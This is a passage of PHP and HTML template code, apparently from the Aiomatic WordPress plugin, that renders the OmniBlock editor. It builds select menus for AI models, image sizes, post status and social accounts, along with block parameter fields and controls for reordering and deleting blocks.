autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_dalle_models as $modelx) { echo '<option value="' . esc_attr($modelx) .'"'; if($value == $modelx) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'stable_image_model_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_stable_models as $modelx) { echo '<option value="' . esc_attr($modelx) .'"'; if($value == $modelx) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'status_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; echo '<option value="publish"'; if($value == "publish") { echo ' selected'; } echo '>' . esc_html__("Published", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="pending"'; if($value == "pending") { echo ' selected'; } echo '>' . esc_html__("Pending -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="draft"'; if($value == "draft") { echo ' selected'; } echo '>' . esc_html__("Draft -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="private"'; if($value == "private") { echo ' selected'; } echo '>' . esc_html__("Private", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="trash"'; if($value == "trash") { echo ' selected'; } echo '>' . esc_html__("Trash", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '</select>'; } elseif($card_type['type'] == 'type_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach(get_post_types( '', 'names' ) as $modelx) { if(strstr($modelx, 'aiomatic_')) { continue; } echo '<option value="' . esc_attr($modelx) .'"'; if($value == $modelx) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'amazon_country_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach(aiomatic_get_amazon_codes() as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($value == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'amazon_sort_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach(aiomatic_get_amazon_sorts() as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($value == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'yt_community_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $community_types = array('text' => 'Text', 'image' => 'Image'); echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($community_types as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($value == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'reddit_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $community_types = array('auto' => 'Auto', 'link' => 'Link', 'self' => 'Text', 'image' => 'Image', 'video' => 'Video'); echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($community_types as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($value == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'method_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $community_types = array('POST' => 'POST', 'GET' => 'GET', 'PUT' => 'PUT', 'DELETE' => 'DELETE'); echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($community_types as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($value == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'content_type_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $community_types = array('JSON' => 'JSON', 'form' => 'Form Data'); echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($community_types as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($value == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'facebook_page_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $store = get_option('fbomatic_page_ids', false); if($store !== FALSE) { $store = explode(',', $store); $fcount = count($store); for($i = 0; $i < $fcount; $i++) { $exploding = explode('-', $store[$i]); if(!isset($exploding[2])) { continue; } echo '<option value="' . esc_html($exploding[0]) . '"'; if($exploding[0] == $value) { echo " selected"; } echo '>' . esc_html($exploding[2]) . '</option>'; } } else { echo '<option disabled value="">' . esc_html__('You need to set up the F-omatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'location_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $locations = array('local' => 'local'); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $locations['amazon'] = 'Amazon S3'; $locations['wasabi'] = 'Wasabi'; $locations['cloudflare'] = 'CloudFlare'; $locations['digital'] = 'Digital Ocean'; } foreach($locations as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $value) { echo " selected"; } echo '>' . ucfirst(esc_html($name)) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $values = $card_type['values']; foreach($values as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $value) { echo " selected"; } echo '>' . esc_html($name) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'file_type_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $locations = array('txt' => 'txt', 'html' => 'html', 'doc' => 'doc', 'pdf' => 'pdf'); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } foreach($locations as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $value) { echo " selected"; } if ($id == 'pdf' && !is_plugin_active('aiomatic-extension-pdf-files/aiomatic-extension-pdf-files.php')) { echo " disabled title='This option requires the Aiomatic Extension - PDF File Storage And Parsing to be active'"; } echo '>' . esc_html($name) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'file_selector') { if(empty($_GLOBALS['omni_files'])) { $_GLOBALS['omni_files'] = get_posts([ 'post_type' => 'aiomatic_omni_file', 'post_status' => 'publish', 'numberposts' => -1 ]); } $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; if(empty($_GLOBALS['omni_files'])) { echo '<option disabled selected>' . esc_html__('No files added, add new files in the \'OmniBlock Files\' tab', 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value="random"'; if('random' == $value) { echo " selected"; } echo '>' . esc_html__('Random', 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="latest"'; if('latest' == $value) { echo " selected"; } echo '>' . esc_html__('Latest', 'aiomatic-automatic-ai-content-writer') . '</option>'; } foreach($_GLOBALS['omni_files'] as $id => $name) { echo '<option value="' . esc_html($name->ID) . '"'; if($name->ID == $value) { echo " selected"; } echo '>' . esc_html($name->post_title) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'pinterest_board_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $boards = get_option('pinterestomatic_public_boards', false); if($boards !== FALSE) { foreach($boards as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $value) { echo " selected"; } echo '>' . esc_html($name) . '</option>'; } } else { echo '<option disabled value="">' . esc_html__('You need to set up the Pinterestomatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'gpb_page_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $boards = get_option('businessomatic_my_business_list', false); if($boards !== FALSE) { foreach($boards as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $value) { echo " selected"; } echo '>' . esc_html($name) . '</option>'; } } else { echo '<option disabled value="">' . esc_html__('You need to set up the Businessomatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'linkedin_page_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $companies = get_option('linkedinomatic_my_companies', array()); if(is_array($companies) && count($companies) > 0) { foreach($companies as $cmp_id => $cmp_name) { if($cmp_name == 'Profile Page') { echo '<option value="' . esc_attr($cmp_id) . '"'; if($cmp_id == $value) { echo ' selected'; } echo '>' . esc_html($cmp_name) . '</option>'; } else { echo '<option value="xxxLinkedinomaticxxx' . esc_attr($cmp_id) . '"'; if('xxxLinkedinomaticxxx' . $cmp_id == $value) { echo ' selected'; } echo '>' . esc_html($cmp_name) . '</option>'; } } } else { echo '<option disabled value="">' . esc_html__('You need to set up the Linkedinomatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'language_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $i = 0; foreach ($language_names as $lang) { echo '<option value="' . esc_html($language_codes[$i]) . '"'; if ($value == $language_codes[$i]) { echo ' selected'; } echo '>' . esc_html($language_names[$i]) . '</option>'; $i++; } if($deepl_auth != '') { $i = 0; foreach ($language_names_deepl as $lang) { echo '<option value="' . esc_html($language_codes_deepl[$i]) . '"'; if ($value == $language_codes_deepl[$i]) { echo ' selected'; } echo '>' . esc_html($language_names_deepl[$i]) . '</option>'; $i++; } } if($bing_auth != '') { $i = 0; foreach ($language_names_bing as $lang) { echo '<option value="' . esc_html($language_codes_bing[$i]) . '"'; if ($value == $language_codes_bing[$i]) { echo ' selected'; } echo '>' . esc_html($language_names_bing[$i]) . '</option>'; $i++; } } echo '</select>'; } elseif($card_type['type'] == 'format_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_formats as $modelx => $namex) { echo '<option value="' . esc_attr($modelx) .'"'; if($value == $modelx) { echo ' selected'; } echo '>' . esc_html($namex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'url') { $randval = uniqid(); $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<div class="main-holder-short" data-id-str="xai' . $randval . '">'; echo '<input type="url" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' ur' . esc_attr($urlrandval) . ' cr_width_full" id="xai' . $randval . '" value="' . esc_html($value) . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; if(count($shortcodes_arr) > 0) { echo '<div class="shortcode-list" data-id-str="xai' . $randval . '">'; } foreach($shortcodes_arr as $myshort) { $my_id = explode('_', $myshort); $my_id = end($my_id); $my_id = substr($my_id, 0, -2); echo '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Shortcode created by OmniBlock ID: ', 'aiomatic-automatic-ai-content-writer') . $my_id . '">'; echo $myshort; echo '</p>'; } if(count($shortcodes_arr) > 0) { echo '</div>'; } echo '</div>'; } elseif($card_type['type'] == 'scraper_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . '" id="sc' . $assistant_helper . '" class="cr_width_full">'; echo '<option value="0"'; if($value == '0') { echo ' selected'; } echo '>' . esc_html__("WordPress (Default)", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="1"'; if($value == '1') { echo ' selected'; } echo '>' . esc_html__("PhantomJS (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="2"'; if($value == '2') { echo ' selected'; } echo '>' . esc_html__("Puppeteer (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="3"'; if($value == '3') { echo ' selected'; } echo '>' . esc_html__("Tor (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="4"'; if($value == '4') { echo ' selected'; } if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo ' title="' . esc_html__("This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer') . '" disabled'; } echo '>' . esc_html__("Puppeteer (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer'); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo esc_html__(' - to enable, add a HeadlessBrowserAPI key in the plugin\'s \'Settings\'', 'aiomatic-automatic-ai-content-writer'); } echo '</option>'; echo '<option value="5"'; if($value == '5') { echo ' selected'; } if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo ' title="' . esc_html__("This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer') . '" disabled'; } echo '>' . esc_html__("Tor (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer'); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo esc_html__(' - to enable, add a HeadlessBrowserAPI key in the plugin\'s \'Settings\'', 'aiomatic-automatic-ai-content-writer'); } echo '</option>'; echo '<option value="6"'; if($value == '6') { echo ' selected'; } if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo ' title="' . esc_html__("This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer') . '" disabled'; } echo '>'; echo esc_html__("PhantomJS (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer'); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo esc_html__(' - to enable, add a HeadlessBrowserAPI key in the plugin\'s \'Settings\'', 'aiomatic-automatic-ai-content-writer'); } echo '</option>'; echo '</select>'; } } $critical = false; if(isset($card_id['parameters']['critical']) && $card_id['parameters']['critical'] == '1') { $critical = true; } echo '<h4>' . esc_html__("Critical", 'aiomatic-automatic-ai-content-writer') . ': <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Set if this OmniBlock is critical or not. When a Critical OmniBlock fails to generate its content correctly and it fails, it will cause the entire OmniBlock running sequence to stop. Non-critical OmniBlocks when they fail, the execution of blocks will continue, the result of the failed OmniBlock will be blank.", 'aiomatic-automatic-ai-content-writer') . '</div></div>'; echo ' <input type="checkbox" class="critical-blocks" data-clone-index="xc' . uniqid() . '" id="critical-' . esc_attr($card_id['identifier']) . '"'; if($critical == true) { echo ' checked'; } echo '>'; echo '</h4>'; $disabled = false; if(isset($card_id['parameters']['disabled']) && $card_id['parameters']['disabled'] == '1') { $disabled = true; } echo '<h4>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . ': <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Set if this OmniBlock is disabled or not. The disabled OmniBlocks will be skipped from processing.", 'aiomatic-automatic-ai-content-writer') . '</div></div>'; echo ' <input type="checkbox" class="disabled-blocks" data-clone-index="xc' . uniqid() . '" id="disabled-' . esc_attr($card_id['identifier']) . '"'; if($disabled == true) { echo ' checked'; } echo '>'; echo '</h4>'; foreach($card_type_found['shortcodes'] as $shtc) { $shortcodes_arr[] = '%%' . $shtc . $card_id['identifier'] . '%%'; } echo '</div> <button class="move-up-btn" title="Move Up"> <!-- SVG for move up --> <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-chevron-up" viewBox="0 0 16 16"> <path fill-rule="evenodd" d="M7.646 4.646a.5.5 0 0 1 .708 0L12 8.292a.5.5 0 0 1-.708.708L8 5.707V12.5a.5.5 0 0 1-1 0V5.707L4.707 9a.5.5 0 1 1-.708-.708l3.647-3.646z"/> </svg> </button> <button class="move-down-btn" title="Move Down"> <!-- SVG for move down --> <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-chevron-down" viewBox="0 0 16 16"> <path fill-rule="evenodd" d="M7.646 11.354a.5.5 0 0 1-.708 0L3.293 7.707a.5.5 0 1 1 .708-.708L7 10.293V3.5a.5.5 0 0 1 1 0v6.793l2.999-3.294a.5.5 0 0 1 .708.708l-4 4.147z"/> </svg> </button> <button class="delete-btn" title="' . esc_html__('Delete', 'aiomatic-automatic-ai-content-writer') . '">X</button><div class="ai_common_holder"><div class="step-number">' . esc_html__("Step", 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($exec) . '</div><div class="aiomatic-run-now"></div><div class="id-shower">' . esc_html__("ID:", 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($card_id['identifier']) . '</div></div></div></li>'; $exec++; } } else { aiomatic_log_to_file('Incorrect block format provided: ' . print_r($card_id, true)); } } } ?> </ul> </td> </tr> <tr> <td colspan="2"> <?php echo '<div class="aiseparator aistop"><b>' . esc_html__("OmniBlock Queue Stops Here", 'aiomatic-automatic-ai-content-writer') . '</b></div><h2>' . esc_html__('Add A New OmniBlock To The Above Queue (Drag And Drop):', 'aiomatic-automatic-ai-content-writer') . '</h2>'; ?> <ul id="aiomatic_new_card_types" name="aiomatic_new_card_types"> <?php if(empty($default_block_types)) { echo esc_html__('No AI OmniBlock Types Defined!', 'aiomatic-automatic-ai-content-writer'); } else { $first = true; $ublockid = $global_index; foreach ($default_block_types as $card_id) { if(!empty($card_id['type'])) { aiomatic_increment($ublockid); $assistant_helper = uniqid(); echo '<li data-id-str="" class="omniblock-card new-card'; if($first != true) { echo ' cr_none'; } $local_shortcodes = array(); foreach($card_id['shortcodes'] as $shtc) { $local_shortcodes[] = '%%' . $shtc . $ublockid . '%%'; } $plugin_required = array(); if(!empty($card_id['required_plugin'])) { foreach($card_id['required_plugin'] as $pslug => $pname) { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active($pslug)) { $plugin_required[] = 'You need enable the "' . $pname[0] . '" plugin for this OmniBlock type to work: ' . $pname[1]; } } } echo '" id="' . sanitize_title($card_id['name']) . '"><input data-clone-index="xc' . uniqid() . '" class="cr_center aiomatic-bold aiomatic-indigo omniblock-title" card-type="' . esc_html($card_id['id']) . '" type="text" placeholder="' . esc_html__('OmniBlock Title', 'aiomatic-automatic-ai-content-writer') . '" title="' . esc_html__('OmniBlock Title', 'aiomatic-automatic-ai-content-writer') . '" value="' . esc_attr($card_id['name']) . '"> <input type="hidden" class="omniblock-id" card-type="' . esc_html($card_id['id']) . '" value="' . esc_attr($ublockid) . '"> <input type="hidden" class="omniblock-shortcodes" card-type="' . esc_html($card_id['id']) . '" value="' . esc_attr(implode(',', $local_shortcodes)) . '">'; if($card_id['id'] == 'text_spinner') { if (!isset($aiomatic_Main_Settings['spin_text']) || $aiomatic_Main_Settings['spin_text'] === 'disabled') { $plugin_required[] = 'Spinning disabled from \'Settings\' -> \'Bulk Posts\' tab -> \'Spin Text Using Word Synonyms\' settings field, this OmniBlock will not function'; } if (isset($aiomatic_Main_Settings['spin_what']) && $aiomatic_Main_Settings['spin_what'] === 'bulk') { $plugin_required[] = 'Spinning disabled for OmniBlocks, from plugin\'s \'Settings\' menu -> \'Bulk Posts\' tab -> \'Enable Spinner For\' settings field, this OmniBlock will not function'; } } elseif($card_id['id'] == 'embeddings') { if ((!isset($aiomatic_Main_Settings['pinecone_app_id']) || trim($aiomatic_Main_Settings['pinecone_app_id']) == '') && (!isset($aiomatic_Main_Settings['qdrant_app_id']) || trim($aiomatic_Main_Settings['qdrant_app_id']) == '')) { $plugin_required[] = 'You must add an OpenAI/AiomaticAPI API Key into the plugin\'s \'Settings\' menu before you can use this feature!'; } if ((!isset($aiomatic_Main_Settings['pinecone_index']) || trim($aiomatic_Main_Settings['pinecone_index']) == '') && (!isset($aiomatic_Main_Settings['qdrant_index']) || trim($aiomatic_Main_Settings['qdrant_index']) == '')) { $plugin_required[] = 'You must add a Pinecone API or a Qdrant API key in the plugin\'s \'Settings\' menu (API Keys tab), before you can use this feature!'; } } if(!empty($plugin_required)) { echo '<p class="requirement cr_red"><ul class="requirement cr_red">'; foreach($plugin_required as $pr) { echo '<li>' . $pr . '</li>'; } echo '</ul></p>'; } echo '<div class="card-name'; if($card_id['type'] == 'save') { echo ' aisave-content'; } else { echo ' aicreate-content'; } if (isset($aiomatic_Main_Settings['omni_webhook']) && trim($aiomatic_Main_Settings['omni_webhook']) == 'on') { $card_id['description'] = str_replace('%%webhook_url%%', esc_html__('add this OmniBlock and save settings to get the URL' , 'aiomatic-automatic-ai-content-writer'), $card_id['description']); } else { $card_id['description'] = str_replace('%%webhook_url%%', '<span class="cr_red">' . esc_html__('OmniBlock Webhook functionality not enabled in \'Settings\' menu of the plugin!' , 'aiomatic-automatic-ai-content-writer') . '</span>', $card_id['description']); } echo '">' . esc_html__('OmniBlock Type:', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_attr($card_id['name']) . '</div><p class="card-desc">' . $card_id['description'] . '</p><div class="ai-collapsible-holder"><button class="aicollapsible" title="' . esc_html__('Show/Hide Parameters', 'aiomatic-automatic-ai-content-writer') . '"><img class="controls-icon" src="' . plugin_dir_url( __FILE__ ) . '../images/controls.png' . '"></button></div><div class="aicollapsible-parameters">'; echo '<h3>' . esc_html__('OmniBlock Parameters', 'aiomatic-automatic-ai-content-writer') . ' <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__('Set the parameters which will be used in this OmniBlock.', 'aiomatic-automatic-ai-content-writer') . '</div></div></h3><hr/>'; $first = false; foreach($card_id['parameters'] as $name => $card_type) { echo '<h4>' . esc_html($card_type['title']) . ': <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html($card_type['description']) . '</div></div></h4>'; if($card_type['type'] == 'text') { $randval = uniqid(); echo '<div class="main-holder-short" data-id-str="xai' . $randval . '">'; echo '<input type="text" class="' . esc_attr($name) . ' cr_width_full" data-clone-index="xc' . uniqid() . '" id="xai' . $randval . '" value="' . esc_attr($card_type['default_value']) . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; echo '<div class="shortcode-list" data-id-str="xai' . $randval . '"><p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Main keyword shortcode', 'aiomatic-automatic-ai-content-writer') . '">%%keyword%%</p></div>'; echo '</div>'; } elseif($card_type['type'] == 'textarea') { $randval = uniqid(); $additional = ''; if($name == 'prompt' && $card_id['id'] == 'ai_text_foreach') { $additional .= '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Main keyword shortcode', 'aiomatic-automatic-ai-content-writer') . '">%%current_input_line_counter%%</p>'; $additional .= '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Main keyword shortcode', 'aiomatic-automatic-ai-content-writer') . '">%%current_input_line%%</p>'; $additional .= '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Main keyword shortcode', 'aiomatic-automatic-ai-content-writer') . '">%%all_input_lines%%</p>'; } echo '<div class="main-holder-short" data-id-str="xai' . $randval . '">'; echo '<textarea class="' . esc_attr($name) . ' cr_width_full" data-clone-index="xc' . uniqid() . '" id="xai' . $randval . '" placeholder="' . esc_html($card_type['placeholder']) . '">' . esc_textarea($card_type['default_value']) . '</textarea>'; echo '<div class="shortcode-list" data-id-str="xai' . $randval . '"><p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Main keyword shortcode', 'aiomatic-automatic-ai-content-writer') . '">%%keyword%%</p>' . $additional . '</div>'; echo '</div>'; } elseif($card_type['type'] == 'model_select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" id="xa' . $assistant_helper . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if($modelx == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'model_select_function') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" id="xa' . $assistant_helper . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_models_function as $modelx) { echo '<option value="' . $modelx .'"'; if($modelx == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'assistant_select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" id="sel_xa' . $assistant_helper . '" onchange="assistantChanged(\'xa' . $assistant_helper . '\');" class="' . esc_attr($name) . ' cr_width_full">'; if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if('' == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($myassistant->ID == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } echo '</select>'; } elseif($card_type['type'] == 'dalle_image_size_select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_dalle_sizes as $sizeid => $sizex) { echo '<option value="' . esc_attr($sizeid) .'"'; if($sizeid == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($sizex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'stable_image_size_select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_stable_sizes as $sizeid => $sizex) { echo '<option value="' . esc_attr($sizeid) .'"'; if($sizeid == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($sizex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'midjourney_image_size_select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_midjourney_sizes as $sizeid => $sizex) { echo '<option value="' . esc_attr($sizeid) .'"'; if($sizeid == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($sizex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'stable_video_size_select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_stable_video_sizes as $sizeid => $sizex) 